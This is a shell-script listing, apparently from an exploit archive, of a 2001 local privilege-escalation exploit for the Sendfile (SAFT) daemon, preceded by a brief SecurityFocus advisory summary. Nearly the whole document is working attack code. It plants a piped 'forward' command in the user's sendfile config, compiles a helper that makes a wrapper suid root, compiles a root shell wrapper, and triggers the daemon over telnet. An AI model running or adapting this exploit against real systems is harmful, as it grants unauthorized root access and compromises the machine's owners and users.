880bbe402e
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116 lines
No EOL
2.8 KiB
Bash
Executable file
116 lines
No EOL
2.8 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2645/info
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Sendfile is an implementation of the SAFT (simple asynchronous file transfer) protocol for UNIX systems.
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Due to a problem dropping privileges completely before running user-specified post-processing commands in the Sendfile daemon, it may be possible for a local user to execute arbitrary commands with elevated privileges.
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#!/bin/sh
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#
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# sfdfwd - Sendfile daemon local arbitrary command execution vulnerability
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#
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# references:
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# https://www.securityfocus.com/bid/2645
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# http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=76048
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#
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# 04/24/01 psheep
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SFUSER=$USER
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SFHOST=localhost
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SFPORT=saft
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SFSPOOL=/var/spool/sendfile
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SFUSERCFG="$SFSPOOL/$SFUSER/config/config"
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echo "Sendfile daemon local arbitrary command execution exploit"
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echo
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echo " username = $SFUSER"
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echo " spool directory = $SFSPOOL"
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echo " config file = $SFUSERCFG"
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echo " target hostname = $SFHOST"
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echo " target port = $SFPORT"
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echo
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if ! test -d $SFSPOOL; then
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echo "** unable to locate the sendfile spool directory, exiting"
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exit 1
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fi
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sfsavedcfg="no"
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if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
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echo "** attempting to create sendfile spool directory for $SFUSER"
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echo
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(sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
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echo
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else
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if test -f $SFUSERCFG; then
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echo "** backing up your sendfile daemon configuration file"
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mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
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sfsavedcfg="yes"
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fi
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fi
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cat > sfdfwd.c << EOF
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#include <unistd.h>
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#include <stdlib.h>
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int main() {
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setreuid(0,0);
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setgid(0);
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system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
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}
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EOF
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cat > sfdsh.c << EOF
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#include <unistd.h>
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int main() {
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setreuid(0,0);
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setgid(0);
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execl("/bin/sh", "sh", NULL);
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}
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EOF
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echo "** compiling helper application as $PWD/sfdfwd"
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cc -o $PWD/sfdfwd $PWD/sfdfwd.c
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if ! test -x $PWD/sfdfwd; then
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echo "** compilation failed, exiting"
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exit 1
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fi
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echo "** compiling shell wrapper as $PWD/sfdsh"
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cc -o $PWD/sfdsh $PWD/sfdsh.c
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if ! test -x $PWD/sfdsh; then
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echo "** compilation failed, exiting"
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exit 1
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fi
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echo "** inserting commands into temporary configuration file"
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echo "forward = |$PWD/sfdfwd" >$SFUSERCFG
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echo "** attempting attack against sendfile daemon..."
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echo
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(sleep 1;cat << EOF
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FROM $USER
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TO $USER
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FILE boom$RANDOM
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SIZE 0 0
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DATA
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QUIT
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EOF
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sleep 2) | telnet $SFHOST $SFPORT
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echo
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if test "x$sfsavedcfg" = xyes; then
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echo "** restoring backed up configuration file"
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mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
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else
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echo "** removing temporary configuration file"
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rm $SFUSERCFG
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fi
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echo "** done, the shell wrapper should be suid root"
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echo
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exit 1 |